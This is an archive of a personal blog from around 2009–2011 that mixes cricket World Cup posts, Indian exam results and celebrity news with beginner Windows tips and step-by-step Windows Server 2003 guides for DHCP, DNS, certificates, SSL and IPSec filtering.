PRADEEP KUMAR ATTRI

PRADEEP KUMAR ATTRI: ICC CRICKET WORLD CUP 2011 FINAL CELEBRATION.3gp

2011-04-04T09:57:00.000+05:30

WORLD CUP 2011 FINAL IND VS SRILANKA

ICC CRICKET WORLD CUP 2011 FINAL CELEBRATION.3gp

2011-04-04T09:55:00.000+05:30

"Happiness does not consist in pastimes and amusements but in virtuous activities. " THESE GUYS ARE ROCKING ON THE OCCASSION OF WINNING MOMENT OF ICC CRICKET WORLD CUP 2011 BY INDIAN CRICKET TEAM. THEY LOOKS LIKE THEY HAVE DRUNK, BUT NO ONE DRINKS IN THIS GROUP. ITS JUST THE NASHA OF WORLD CUP 2011

ICC CRICKET WORLD CUP 2011 SPECIAL CLASH_IND VS AUS, FORTHCOMING WITH PAKISTAN

2011-03-25T12:17:00.002+05:30

(YUVI and Raina Celebrating Victory Over Three Times Defending champions Aussies)

In a High Voltage Match Yesterday India Beat Australia by 5 Wickets. Yuvraj Singh Won the Man of the Match Award for his allrounding performance. But The Way to Get cup is still difficult as the actual rivals of Crikcet, India and Pakistan will meet on Wednesday March 30, at PCA cricket Stadium Mohali (Punjab).

Highlights
•India and Pakistan have played 4 matches in World Cup history and India has won all four.

Registry hives and supporting extensions

2009-08-06T17:49:00.003+05:30

Registry Hives

How to know the Windows Version or Service Pack

2009-08-06T16:42:00.004+05:30

Dear Readers,
You can see the Version of Your windows by entering this command at RUN i.e. winver and you will see a sceenshot like this following. This shows you the version of the windows and service packs etc.

Here in this snapshot Microsoft Windows Version 5.1 and in the bracket (Build 2600.xpsp_sp2_gdr.070227-2254 : Service Pack 2)
And it also shows you the License holder to which the windows is registered.

So see this stuff and rock on.....

Topper of UP Board Allahabad 2009, Who topped in the 12th Exams in UP Board 2009

2009-05-27T16:12:00.003+05:30

Here I am giving you the list of Candidates who topped in UP Board Exams XII 2009
Students from Lucknow and Kanpur dominated the top 10 merit positions.
Sandeep Singh, a student of Lucknow Public Inter College, topped the exams by securing 92 percent.
Anurag Katiyar, a student of BSND college, Kanpur bagged the second position by securing 91.2 percent.
The third position was shared by Subhanshu Gautam of Lucknow Public Inter College and Sparsh Singhal of BSND, Kanpur. Both secured 90.2 percent.

For more info Contact me @ peekayattri@gmail.com

UP Result 2009

2009-05-25T10:04:00.004+05:30

Dear Friends,
You all would be happy by listening this news speciaally those who had appeared in the 10 & 12th Exam of Uttar Pradesh Board, Allahabad held all over the State. The Announcement of the news are as follows

U. P. Board Intermediate (Class XII) Examination
To be announced on May 27, 2009

High School (Class X) Results
To be announced on May 30, 2009

U.P. Results Official Portal is http://upresults.nic.in/
& U.P. Board Allahabad Official Website is http://upmsp.nic.in/

Wish you all the best

Good luck

Please comment me if I made any mistake in this information then feel free to contact me @ 09891878570(Delhi)

Your Sincere Blogger,

Pradeep Kumar
peekayattri@gmail.com

B.Sc. in IT Syllabus/ what is the syllabus of B.Sc. in IT

2009-05-18T16:30:00.004+05:30

The Curriculum followed by other institutions generally imparts only Primary Capabilities to the students. We have designed the curriculum to ensure additionally, critical and core competencies among the students. Multiple skills (e.g. Technology, Management, Foreign language, Personality development, Innovation and Entrepreneurship etc.) leveraged through the curriculum shall enable the students to face the challenges of highly competitive environment efficiently and effectively.Read on and go through the programme structure listed below to verify our statement.

To maintain and enhance the advantage, India has to ensure that its workforce has the right mix of technical, business and functional skills to meet the needs of individual business segments & customer markets

Semester 1

Basics of Information Technology

Window based applications

Introduction to databases with Access

Business applications of ITInternet / Multimedia

Communication Skills

Behavioural Science

Semester 2

Basic Mathematics

Object Oriented Programming

Java Programming

Oracle / Developer 2000

Management Practices and Principles

Communication Skills

Foreign Language - German / French/ Spanish

Behavioural Science

Semester 3

Computer Oriented Numerical MethodsVisual Basic

Object Oriented Analysis and Design

Website Management and Design

Website ProjectForeign Language - German / French/ Spanish

Marketing ManagementFinance Management

Computer Communication

Behavioural Science

Semester 4

Accounting Principles and Practices

Communication TechnologyVC++S/W Engg. (Analysis Requirement and Defining Solution Architecture) Project

Foreign Language - German / French/ Spanish

Telecom Service & Operation Management

Telecom economic policy Personality Development

Semester 5

Data Warehousing and Data Mining

Oracle 8i and Distributed Database

Fundamentals of e-CommerceS/W Project Management

Advance JavaAdvance Computer Architecture

Unix / Linux / Shell ProgrammingForeign language German / French/ SpanishStrategic Management

Innovation and Entrepreneurship

Behavioural Science

Semester 6

Strategic Use of Information TechnologyS/W Quality Assurance

New Technologies

Project with IndustryIT enabled services

What is a Hard Drive??

2009-05-18T15:43:00.003+05:30

What is a Hard Drive??

The hard drive was first inroduced on september 13, 1956.

Brings up the task manager

2009-05-12T15:33:00.002+05:30

1.You can right click in Task bar and select Task Manager.
2. press ctrl+shift+esc

How to bring up the Start Menu without clicking the mouse button..

2009-05-12T15:03:00.003+05:30

There are two ways to do so
1. Press ctrl+ESc button together
2. Just press the Windows key on keyboard
OK

How to know the e-mail sender's ip address/ How to trace e-mail sender's ip address

2009-05-12T09:47:00.006+05:30

HOwdy! Sometimes a lots of questions arise in the mind of guys something like this when they got a e- mail from a unknown person then they are very curious to know that Wo sent it to me? and whatsoever?
Here I am telling you how to know the sender's IP address
www.gmail.com In gmail open the e-mail for which you want to know the IP address.
I have selected the section where u have to see "LOOK HERE" all opetions are here You have to go to option no 7 labeled as SHO ORIGINAL

and you will see the following screen all the information is mentioned in that screen take a llok at that carefully....

And you have done !

If Now you have any query feel free to contact me @ attri.pradeepkumar@gmail.com

Top 5 search engines

2009-05-11T15:49:00.001+05:30

The listing is creating by meSo it is not authorised but as far as I know It would be true.

1. www.google.com
2. www.yahoo.com
3. www.msn.com
4. www.ask.com
5. www.answer.com

Akshay Kumar Highest Tax Payer in Bollywood

2009-04-27T09:45:00.003+05:30

Actor & superstar Akshay Kumar has topped a new list – and one I don’t think he would be too happy about. Akshay Kumar is now the top taxpayer in Bollywood for the year 2008-09. Having crossed Rs 100 crores as his total earnings for the last financial year – Akshay has apparently paid a total tax advance of a (mere?!?) Rs 31 crores. Quite a hike considering he paid only Rs 12.5 crore in 2007.
Following Akshay in second place is Shah Rukh Khan who may be breathing a sigh of relief? Khan’s tax payout declined marginally this year to Rs 30.9 crore a 1.7% decrease when compared to the Rs 31.5 crore shell out he done in 2007.
Bollywood’s loved up jodi also featured on the top ten list. Saif Ali Khan paid Rs 8.63 crore and Kareena Kapoor paid out Rs 3.7 crore of her earnings.
A third Khan also featured in the list. You guessed it - Salman Khan. This Khan’s earnings grew 107.41% more than last year. This has placed him directly behind Akshay in terms of growth. Positive news for this particular Khan I guess.
Bachchan Bahu Aishwarya Rai Bachchan featured in 6th place on the list having paid an advance that was higher than the in-laws. And how much did they pay? I hear you ask – Well Papa Bachchan made it to number 10 with a humble offering of Rs 1.25 crore.

The veteran actor-filmmaker Feroz Khan passed away at his Bangalore residence today.

2009-04-27T09:39:00.002+05:30

The veteran actor-filmmaker Feroz Khan passed away at his Bangalore residence today. He was battling cancer for over a year. He was seventy.
He is survived by his two children Laila and Fardeen Khan.

He appeared in an English-language film Tarzan Goes to India in 1962 opposite Simi Garewal. His first big hit was in 1965 with the release of Oonche Log followed by strings of memorable appearances.
In 2007, he starred in the superhit film Welcome which was going to be last performance.
Feroz Khan was identified with the character name Rajesh or Rakesh in in most of the movies.

To run programs from RUN dialog box

2009-02-27T12:55:00.001+05:30

To run programs from RUN dialog box

As you know, you can run such programs as Regedit and Msconfig. To run other windows programs by RUN dialog box, run registry and go to following address:

QUOTE

HKEY-LOCAL-MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ App Paths
Create a Key and name it as same as your program, like Myprog.exe and in value field, type your program address, for example: C:\Program Files\Myprog\Myprog.exeNow, create a String Value, and type your program location as address,
for example: C:\Program Files\iexplore.exe

How to determine the Last shutdown Time of Windows

2009-02-17T12:37:00.003+05:30

The Easiest way to determine the last shut down date/time of the computer with windows is to view the event log. When you shut down a computer a computer event id 6006 is written to event logs. which denotes a clean shutdown here is the methos to view the time and date.....
1. Launch Eventvwr.msc from run prompt to start the event viewer.
2. CLick System

3. Sort the result in right pane by date (Descending order)
4. Locate the most recent entry with the id of 6006 and the source column reading is event log
5. Note down the date and time this is the last shut down time of ur windows.

Opening Shared Folders Snap-In

2009-01-24T17:37:00.000+05:30

Opening Shared Folders Snap-In

To manage all your shared folders, you can run the snap-in directly
Start / Run / fsmgmt.msc
This will show you all your shared folders in a single windowYou can also see what other computers are connected and what files they have open

Hiding Manage My Computer

2009-01-24T17:29:00.001+05:30

Hiding Manage My Computer:

If you want to remove Manage My Computer from My Computer
Start Regedit
Go to HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer
Create a DWORD value called NoManageMyComputerVerb
Set the value to 1

Reboot

How to install Windows 98 / Installation guide for Win 98

2009-01-24T16:59:00.002+05:30

In this article I will teach you to install Windows 98 First or Second Edition on a computer with a formatted or even unformatted hard drive!

What you will need:

1. Windows 98 CD
2. Computer with CD-ROM Access

Configuring your BIOS for the Install:
To find out how to access the BIOS please refer to your motherboard manual or the manufacturer of your computer. (The system BIOS can usually be entered on boot, usually by pressing the F1, F2, F8, F10 or DEL key. Make sure you save the settings before exiting.
If you are unsure or don't want to enter the BIOS then just test the computer by putting the CD-ROM in the drive and rebooting the computer. This is the recommended way to install Windows 98.

Starting The Setup:

Insert the Windows CD and restart your PC.
Once the Windows 98 Setup Menu comes up choose option #2 (Boot from CD-ROM)
Then the Windows 98 Startup Menu will come up. Select Option #1. (Start Windows 98 Setup from CD-ROM)
Now your computer will install some drivers so please wait for a few moments.
Now a blue setup screen will come up. Press Enter.
Setup then wants to do some system tests. Just press Enter.
Scandisk will now run, please wait.
After ScanDisk completes, Windows will copy a few important files for setup.
Now the graphical Windows 98 Setup Screen will come up.
Click Continue and wait for the setup wizard to complete.
Now it will ask you in which directory to install Windows too. The default directory is just fine so click Next.
Setup will now prepare the directory, please wait.
Setup will now check for installed components and disk space, please wait.
Setup will now prompt you to choose the type of installation. Choose Typical if you have a desktop computer or Portable if it is a laptop.
Windows will prompt you to install components, just choose Continue.
If a network card is detected a network information screen will appear. Type in the required information and click Next
Select your country settings, United States should be chosen by default.
Now finally the main part of Setup is here. Setup will start copying files. This could take some time, please be patient.
Once setup is done copying files, Windows will restart automatically.
The Windows 98 Startup Menu will now appear. Select option #1 (Boot from Hard Disk)
The Windows 98 booting screen will appear!
Now Windows will prompt you for user information, enter it and click Continue.
Now the License Agreement. Read it and if you agree click on "I accept the Agreement" and click Next. If you select "I don't accept the Agreement" then setup will end.
Now input your product key or certificate authenticity code. This is 16 digits and is located on the back of your CD case or on the Windows 98 Book. If you have an OEM computer then it could be on the side or back of your computer. Click Next to continue.
Click Finish.
Setup will now finalize the hardware and install settings.
Setup will now install plug and play devices.
Your computer will restart automatically.
The Windows 98 Startup Menu will appear. Select option #1 (Boot from Hard Disk)
Windows will start booting for the second time.
Setup will continue installing hardware.
Now setup will prompt you to enter in your time, date, and time zone. Once selected click on Apply and then OK.
Windows will continue to setup Windows items.
The computer will restart automatically once again.
The Windows 98 Startup Menu will appear. Select option #1 (Boot from Hard Disk)
Windows will boot for the third time.
Windows will update system settings.
Now finally you have reached the Windows Desktop!
You also may need to install your hardware drivers. If everything is working properly then you shouldn’t worry about them.
Enjoy your new freshly installed Windows 98 computer!

Display Modal Message Box on Window's Startup

2009-01-23T18:10:00.001+05:30

Display Modal Message Box on Window's Startup

Windows can display a modal dialog box when it boots. You can specify the dialog’s caption and text. Add or change:
HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon LegalNoticeCaption = "enter the caption"

LegalNoticeText = "enter the text"
or

HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon LegalNoticeCaption = "enter the caption"

LegalNoticeText = "enter the text"

High Courts in India

2009-01-23T15:19:00.000+05:30

High Courts
Allahabad High Court
Andhra Pradesh High court
Bombay High Court
Calcutta High Court
Chhattisgarh High Court
Delhi High Court
Gauhati High Court
Gujarat High Court
High Court of Bombay at Goa
Himachal Pradesh High Court
Jammu and Kashmir High Court
Jharkhand High Court
Karnataka High Court
Kerala High Court
Madhya Pradesh High Court
Madras High Court
Orissa High Court
Patna High Court
Punjab and Haryana High Court
Rajasthan High Court
Sikkim High Court

What is SUBNETTING ?

2009-01-21T09:30:00.004+05:30

Subnetting is the process of breaking down an IP network into smaller sub-networks called "subnets." Each subnet is a non-physical description (or ID) for a physical sub-network (usually a switched network of host containing a single router in a multi-router network).

Installation and Configuration of Windows Server 2003

2009-01-14T16:55:00.002+05:30

This step-by-step article describes how to configure a new Windows Server 2003-based Dynamic Host Configuration Protocol (DHCP) server on a stand-alone server to provide centralized management of IP addresses and other TCP/IP configuration settings for the client computers on a network.

How to Install the DHCP Service

Before you can configure the DHCP service, you must install it on the server. DHCP is not installed by default during a typical installation of Windows Standard Server 2003 or Windows Enterprise Server 2003. You can install DHCP either during the initial installation of Windows Server 2003 or after the initial installation is completed.

How to Install the DHCP Service on an Existing Server:

Click Start, point to Control Panel, and then click Add or Remove Programs.
In the Add or Remove Programs dialog box, click Add/Remove Windows Components.
In the Windows Components Wizard, click Networking Services in the Components list, and then click Details.
In the Networking Services dialog box, click to select the Dynamic Host Configuration Protocol (DHCP) check box, and then click OK.
In the Windows Components Wizard, click Next to start Setup. Insert the Windows Server 2003 CD-ROM into the computer's CD-ROM or DVD-ROM drive if you are prompted to do so. Setup copies the DHCP server and tool files to your computer.
When Setup is completed, click Finish.

How to Configure the DHCP Service

After you have installed the DHCP service and started it, you must create a scope, which is a range of valid IP addresses that are available for lease to the DHCP client computers on the network. Microsoft recommends that each DHCP server in your environment have at least one scope that does not overlap with any other DHCP server scope in your environment. In Windows Server 2003, DHCP servers in an Active Directory-based domain must be authorized to prevent rogue DHCP servers from coming online. Any Windows Server 2003 DHCP Server that determines itself to be unauthorized will not manage clients.

How to Create a New Scope:

Click Start, point to Programs, point to Administrative Tools, and then click DHCP.
In the console tree, right-click the DHCP server on which you want to create the new DHCP scope, and then click New Scope.
In the New Scope Wizard, click Next, and then type a name and description for the scope. This can be any name that you want, but it should be descriptive enough so that you can identify the purpose of the scope on your network (for example, you can use a name such as "Administration Building Client Addresses"). Click Next.
Type the range of addresses that can be leased as part of this scope (for example, use a range of IP addresses from a starting IP address of 192.168.100.1 to an ending address of 192.168.100.100). Because these addresses are given to clients, they must all be valid addresses for your network and not currently in use. If you want to use a different subnet mask, type the new subnet mask. Click Next.
Type any IP addresses that you want to exclude from the range that you entered. This includes any addresses in the range described in step 4 that may have already been statically assigned to various computers in your organization. Typically, domain controllers, Web servers, DHCP servers, Domain Name System (DNS) servers, and other servers, have statically assigned IP addresses. Click Next.
Type the number of days, hours, and minutes before an IP address lease from this scope expires. This determines how long a client can hold a leased address without renewing it. Click Next, and then click Yes, I want to configure these options now to extend the wizard to include settings for the most common DHCP options. Click Next.
Type the IP address for the default gateway that should be used by clients that obtain an IP address from this scope. Click Add to add the default gateway address in the list, and then click Next.
If you are using DNS servers on your network, type your organization's domain name in the Parent domain box. Type the name of your DNS server, and then click Resolve to make sure that your DHCP server can contact the DNS server and determine its address. Click Add to include that server in the list of DNS servers that are assigned to the DHCP clients. Click Next, and then follow the same steps if you are using a Windows Internet Naming Service (WINS) server, by adding its name and IP address. Click Next.
Click Yes, I want to activate this scope now to activate the scope and allow clients to obtain leases from it, and then click Next.
Click Finish.
In the console tree, click the server name, and then click Authorize on the Action menu.

Troubleshooting

The following sections explain how to troubleshoot some of the issues that you may experience when you try to install and configure a Windows Server 2003-based DHCP server in a workgroup.

Clients Cannot Obtain an IP Address

If a DHCP client does not have a configured IP address, this typically indicates that the client was not able to contact a DHCP server. This can be caused by a network problem, or because the DHCP server is unavailable. If the DHCP server started and other clients can obtain valid addresses, verify that the client has a valid network connection and that all the related client hardware devices (including cables and network adapters) are working properly.

The DHCP Server Is Unavailable

If a DHCP server does not provide leased addresses to clients, it is frequently because the DHCP service did not start. If this is the case, the server may not be authorized to operate on the network. If you were previously able to start the DHCP service, but it has since stopped, use Event Viewer to check the System log for any entries that may explain why you cannot start the DHCP service.To restart the DHCP service:

Click Start, and then click Run.
Type cmd, and then press ENTER.
Type net start dhcpserver, and then press ENTER.

-or-

Click Start, point to Control Panel, point to Administrative Tools, and then click Computer Management.
Expand Services and Applications, and then click Services.
Locate and then double-click DHCP Server.
Verify that Startup is set to Automatic and that Service Status is set to Started. If not, click Start.
Click OK, and then close the Computer Management window

How can I install the Certificate Authority (CA) service in Windows Server 2003?

2009-01-14T15:04:00.002+05:30

How can I install the Certificate Authority (CA) service in Windows Server 2003?

Windows Server 2003 can be used as a Certificate Authority (also known as CA) to provide extended security by offering support for Digital Certificates.

Digital Certificates can be granted to users based upon their roles and group membership. For example, a regular user that wants to enroll for a certificate will only be allowed to enroll for a specific set of Digital Certificates, while another user that is a member of the Domain Admins group will be allowed to enroll for a different set of certificates that can be used for a variety of functions, including Recovery Agents, IPSec, SSL and so on.

User Digital Certificates are valid for different purposes, including:

Allowing data on disk to be encrypted
Protecting e-mail messages
Proving the user's identity to a remote computer
and more.

Note: There may be scenarios where a company might opt to use 3rd party issued Digital Certificates instead of creating their own, especially when that company's users will be dealing with out-of-the-company users, exchanging encrypted e-mail messages between themselves and these outside users, or when using SSL on a secured web site. This is because the outside users might not be willing to trust the company's internal CA.

Step 1: Install the IIS Service
In order to install the CA you will first need to install IIS on a Windows Server 2003 computer. On Windows Server 2003 IIS is not installed with the default Windows 2003 installation.

Click Start > Control Panel > Add or Remove Programs.
In Add or Remove Programs, click Add/Remove Windows Components.
Under Components, click on Application Server (but do NOT select it) and press on the Details button.
In the Application Server window click to select IIS and click Ok.
Click Next
After the wizard completes the installation, click Finish.

Step 2: Install the CA Service:

To install the CA service perform the following steps:
Click Start > Control Panel > Add or Remove Programs.
In Add or Remove Programs, click Add/Remove Windows Components.
Under Components, select Certificate Services.
You will get a warning about domain membership and computer renaming constraints, and then click Yes.
On the CA Type page, click Enterprise root CA, and then click Next.
On the CA Identifying Information page, in the Common name for this CA box, type the name of the server, and then click Next.
On the Certificate Database Settings page, accept the defaults in the Certificate database box and the Certificate database log box, and then click Next.
You will get a prompt to stop Internet Information Services, click Yes.
Enable Active Server Pages (ASPs), by clicking Yes.
When the installation process is completed click Finish.

Step 3: Obtain a User Digital Certificate from the CA

After installing and configuring the CA on your domain you will now need to ask your users (at least those who will require message security) to enroll for a Digital Certificate.

How do I obtain a Digital Certificate from my Certificate Authority (CA)?

Method #1 - By using a custom MMC

In this method a user will need to open a custom MMC and enroll by use of the MMC GUI.
In order to obtain a Digital Certificate by use of a custom MMC please perform the following steps:

Go to the Start menu > Run > type MMC and press Enter.
In the MMC window, go to the File menu and select Add/Remove Snap-In.
In the Add/Remove Snap-In window press the Add button.
Select Certificates from the available list of snap-ins and click Add.
In the user attempting this action is a member of the Domain Admins or Administrative groups he or she will be presented with a Certificates Snap-In window, asking whether the certificate will be issued to the user account, the computer or a service running on the computer. We will choose My User Account. Click Finish.
Expand Certificates - Current User > Personal.
Note: There may be a Certificate folder under the Personal folder. Ignore it for now.
Right-click the Personal folder and select All Tasks > Request New Certificate.
In the Certificate Request wizard click Next.
In the Certificates Type select User.
Note: Depending on the groups your user account belongs to, you might also see other certificate types. Ignore them for now.
In the Friendly name type a name for the certificate, for example "Daniel's User Certificate" or similar.
Lamer note: Use your own name... duh...

Click Next.
In the final page of the wizard click Finish. If all went well (and there is no reason why it won't) you'll get a confirmation message. Acknowledge it.

You now have a new Digital Certificate. You can view it by going to the Certificates - Current User > Personal > Certificates folder within the current MMC window. Double-click on the new certificate and inspect the information found in it.

Method #2 - By using a web browser:

In this method a user will need to open his or her web browser and surf to a given URL - that in fact is the URL for the online CA.
In order to obtain a Digital Certificate by use of a a web browser please perform the following steps:

Open an Internet browser such as Internet Explorer, Opera or Firefox.
In the address bar type the following URL:
http://server_name/certsrv
where server_name is the FQDN or the IP of the server that is hosting the CA.
In the Welcome screen click "Request a certificate".
In the "Request a certificate" screen click "User Certificate".
In the "User Certificate - Identifying Information" window, if a warning message appears telling you that there is a Potential Scripting Violation click Yes.
Click Submit.
In the "Certificate Issued" window click on "Install this certificate".
When the "Certificate Installed" window screen close the browser window.

You now have a new Digital Certificate. You can view it by going to the Tools > Internet Options > Content tab within the current Internet Explorer window. Click on the Certificates button. Look for the new certificate in the Personal tab, double-click on it and inspect the information found within.

You can also choose to export your new certificate by selecting the certificate and pressing the Export button.

On IIS 6.0, how do I configure my website to use SSL?

2009-01-14T14:50:00.003+05:30

On IIS 6.0, how do I configure my website to use SSL?

By default, web browsing is being performed by use of the HTTP protocol, i.e. a connection between the client computer (using a web browser) to the web server (using IIS, Apache or any other sort of web server program). HTTP relies on TCP (Transmition Control Protocol) and uses port 80 on the listening server.

The main security issue with HTTP is the fact that all the traffic between the client and the server is done as clear text, meaning that anyone could potentially "listen" to your talk and grab frames and valuable information from the net.

To secure the transmission of information between your web server running IIS 6.0 on Windows Server 2003 and your browser clients, you can encrypt the information being transmitted by using SSL (Secure Sockets Layer).

Note: The procedure for applying SSL on IIS 5.0 (on Windows 2000) and IIS 5.1 (on Windows XP) is quite the same.

In order to successfully use SSL you need to obtain a Server Certificate. In this article I will only focus on obtaining a certificate from a local CA or importing an already existing certificate. However, it is possible (and in many cases preferred) that you obtain the Server Certificate from a trusted 3rd party CA such as Verisign or Thawte.

Configure SSL

To configure SSL for your website on IIS 6.0 (running on Windows Server 2003) complete the following steps:

Click Start, point to All Programs, point to Administrative Tools, and then click Internet Information Services (IIS) Manager.
In Internet Services Manager, in the console tree, expand SERVERNAME (your local computer), and then expand Web Sites.
In the console tree, right-click Default Web Site, and then click Properties.
In the Default Web Site Properties dialog box, click Directory Security.
On the Directory Security tab, click Server Certificate.
In the Welcome to the Web Server Certificate Wizard, on the Welcome page, click Next.
On the Server Certificate page, verify that Create a new certificate is selected, and then click Next.

Note: You can also import an already existing certificate. Do do so follow these steps:

Click Import a certificate from a .pfx file. Click Next.
In the Import Certificate path enter the path to where you've stored your existing certificate. Click Next.
Enter the password configured for the .pfx file. Click Next.
Go to step #13.

8. On the Delayed or Immediate Request page, click Send the request immediately to an online certification authority, and then click Next.

Note: If you don't have a Certificate Authority (CA) installed on your server or on a different server on the network you can prepare the request but you'll need to manually send it to the CA.

9.On the Name and Security Settings page, in the Name box, type yourservername.domainname.com (or .net, .org, .mil etc. Use your own registered domain name, the one you want people to use when browsing to your site) and then click Next.

Note: You will need a different certificate for each website you'll run on this server, so make sure you provide the exact server URL.
Important note - Internet use: You must make sure that either the Name or the Common Name fields (one of them or both of them) exactly match the external FQDN of the website. For example, if your server's NetBIOS name is SERVER1, and it is located in the MYINTERNALDOM.LOCAL domain, but it will host a website that will require users to enter WWW.KUKU.CO.IL to reach it, you must then use WWW.KUKU.CO.IL as the Name or Common Name in the certificate request wizard, and DO NOT use SERVER1.MYINTERNALDOM.LOCAL.

Important note - Intranet use: For Intranet-only purposes you CAN use the internal FQDN of the server, or even just it's NetBIOS name. For example, if your server's NetBIOS name is SERVER1, and it is located in the MYINTERNALDOM.LOCAL domain, you can use SERVER1.MYINTERNALDOM.LOCAL or just SERVER1 for the Name or the Common Name fields.

You can also change the Bit Length for the encryption key if you want.
10.On the Organization Information page, in the Organization box, type your own company name. In the Organizational Unit box, type a descriptive name and then click Next.

11.On the Your Sites Common Name page, in the Common name box, type yourservername.domainname.com (see important note in step #9) and then click Next.

12.On the Geographical Information page, in the State/province box, type the required info and then click Next.

13.On the SSL Port page, in the SSL port this web site should use box, verify that 443 is specified, and then click Next.

Note: SSL can only listen once on port 443, requiring you to either select a different SSL port for each SSL protected website you're about to host on the server, or, even better, use a different static IP for each site, and share port 443 amongst them.

14.On the Choose a Certification Authority page, in the Certification Authorities box, verify that your online CA is selected, and then click Next.

15.On the Certificate Request Submission page, click Next to submit the request, and then click Finish to complete the wizard.

Block a single computer from surfing on the Internet

2009-01-14T14:35:00.000+05:30

Block a single computer from surfing on the Internet:

To configure a single computer follow these steps:

Configuring IP Filter Lists and Filter actions
Open an MMC window (Start > Run > MMC).
Add the IP Security and Policy Management Snap-In.
In the Select which computer this policy will manage window select the local computer (or any other policy depending upon your needs). Click Close then click Ok.
Right-click IP Security Policies in the left pane of the MMC console. Select Manage IP Filter Lists and Filter Actions.
In the Manage IP Filter Lists and Filter actions click Add.
In the IP Filter List window type a descriptive name (such as HTTP, HTTPS) and click Add to add the new filters.
In the Welcome window click Next.
In the description box type a description if you want and click Next.
In the IP Traffic Source window leave My IP Address selected and click Next.
In the IP Traffic Destination window leave Any IP Address selected and click Next.
In the IP Protocol Type scroll to TCP and press Next.
In the IP Protocol Port type 80 (for HTTP) in the To This Post box, and click Next.
In the IP Filter List window notice how a new IP Filter has been added. Now, if you want, add HTTPS (Any IP to Any IP, Protocol TCP, Destination Port 443) in the same manner.
Now that you have both filters set up, click Ok.

Note: A quick reminder - You can also Block Web Browsing but Allow Intranet Traffic with IPSec.
Back in the Manage IP Filter Lists and Filter actions review your filters and if all are set, click on the Manage Filter Actions tab. Now we need to add a filter action that will block our designated traffic, so click Add.
In the Welcome screen click Next.
In the Filter Action Name type Block and click Next.
In the Filter Action General Options click Block then click on Next.
Back in the Manage IP Filter Lists and Filter actions review your filters and if all are set, click on the Close button. You can add Filters and Filter Actions at any time.
Next step is to configure the IPSec Policy and to assign it.

Configuring the IPSec Policy

In the same MMC console right-click IP Security Policies on Local Computer and select Create IP Security Policy.
In the Welcome screen click Next
In the IP Security Policy Name enter a descriptive name, such as "Block HTTP, HTTPS". Click Next
In the Request for Secure Communication window click to clear the Active the Default Response Rule check-box. Click Next
In the Completing IP Security Policy Wizard window, click Finish.
We now need to add the various IP Filters and Filter Actions to the new IPSec Policy. In the new IPSec Policy window click Add to begin adding the IP Filters and Filter Actions.
In the Welcome window click Next.
In the Tunnel Endpoint make sure the default setting is selected and click Next.
In the Network Type windows select All Network Connections and click Next.
In the IP Filter List window select one of the previously configured IP Filters, for example "HTTP, HTTPS" (configured in step #6 at the beginning of this article). If, for some reason, you did not previously configure the right IP Filter, then you can press Add and begin adding it now. When done, click Next.
In the Filter Action window select one of the previously configured Filter Actions, for example "Block" (configured in step #15 at the beginning of this article). Again, if you did not previously configure the right Filter Action, you can now press Add and begin adding it now. When done, click Next.
Notice how the IP Filter has been added.

Again, you can add any combination of IP Filters and Filter Actions you like.
Notice that you cannot change their order like in other full-featured firewalls. Even so, this configuration works perfectly as you will soon discover.

The next phase is to assign the IPSec Policy.

Assigning the IPSec Policy

In the same MMC console, right-click the new IPSec Policy and select Assign.

Done, you can now test the configuration by trying to surf to restricted and unrestricted websites.

Enable DNS Forwarding for Internet connections

2009-01-14T14:31:00.001+05:30

Enable DNS Forwarding for Internet connections

Click Start, point to Programs, point to Administrative Tools, and then click DNS to start the DNS Management Console.
Right click the DNS Server object for your server in the left pane of the console, and click Properties.
Click the Forwarders tab.
Check the Enable forwarders check-box.
In the IP address box enter the IP address of the DNS servers you want to forward queries to - typically the DNS server of your ISP. You can also move them up or down. The one that is highest in the list gets the first try, and if it does not respond within a given time limit - the query will be forwarded to the next server in the list.
Click OK.

Enable Dynamic Update on the Forward and Reverse Lookup Zones (Optional - Recommended)

2009-01-14T14:29:00.001+05:30

Enable Dynamic Update on the Forward and Reverse Lookup Zones (Optional - Recommended):

In DNS Manager, expand the DNS Server object.
Expand the Forward Lookup Zones folder.
Right-click the zone you created, and then click Properties.
On the General tab, click to select the Allow Dynamic Update check box, and then click OK to accept the change.
Do the same for the Reverse Lookup Zone.

Configure the DNS Server Using DNS Manager

2009-01-14T14:25:00.002+05:30

Configure the DNS Server Using DNS Manager:

These steps guide you through configuring DNS by using the DNS Manager snap-in in Microsoft Management Console (MMC).

Click Start, point to Programs, point to Administrative Tools, and then click DNS Manager. You see two zones under your computer name: Forward Lookup Zone and Reverse Lookup Zone.
The DNS Server Configuration Wizard starts. Click Next.
If the Wizard does not auto-start, right-click your server name object in the DNS Manager console and choose Configure your Server.
Choose to add a forward lookup zone. Click Next. The new forward lookup zone must be a primary zone so that it can accept dynamic updates. Click Primary, and then click Next.
The zone name must be exactly the same as your Active Directory Domain name, or, if on a stand-alone or workgroup environment - the same as the suffix for all of the network computers that are to register with this DNS server. Type the name of the zone, and then click Next.
Accept the default name for the new zone file. Click Next.
Choose to add a reverse lookup zone now. Click Next.
Click Primary, and then click Next.
Type the name of the zone, and then click Next. The zone name should match the Network ID of your local subnet. For example, if your subnet range is from 192.168.0.1 to 192.168.0.254, type 192.168.0 in the name value.
Accept the default name for the new zone file. Click Next.
Click Finish to complete the Server Configuration Wizard.

After the Server Configuration Wizard is finished, DNS Manager starts. Proceed to the next step to enable dynamic update on the zone you just added

How to install and configure Windows Server 2003 DNS server?

2009-01-14T14:21:00.002+05:30

How do I install and configure Windows Server 2003 DNS server?

The Domain Name System (DNS) is the Active Directory locator in Windows 2000 and Windows Server 2003. Active Directory clients and client tools use DNS to locate domain controllers for administration and logon. You must have a DNS server installed and configured for Active Directory and the associated client software to function correctly. This article guides you through the required DNS configuration.

Install Microsoft DNS Server

Click Start, point to Settings, and then click Control Panel.
Double-click Add/Remove Programs.
Click Add and Remove Windows Components.
The Windows Components Wizard starts. Click Next.
Click Networking Services, and then click Details.
Click to select the Domain Name System (DNS) check box, and then click OK.
Click OK to start server Setup. The DNS server and tool files are copied to your computer.
Continue to the next step to configure the DNS server.

A Poem About Computers

2009-01-12T11:18:00.002+05:30

"A computer was something on TV

From a science fiction show of note.

A window was something you hated to clean...

And ram was the cousin of a goat.....

Meg was the name of my girlfriend

And gig was a job for the nights

Now they all mean different things

And that really mega bytes

An application was for employment

A program was a TV show

A cursor used profanity

A keyboard was a piano

Memory was something that you lost with age

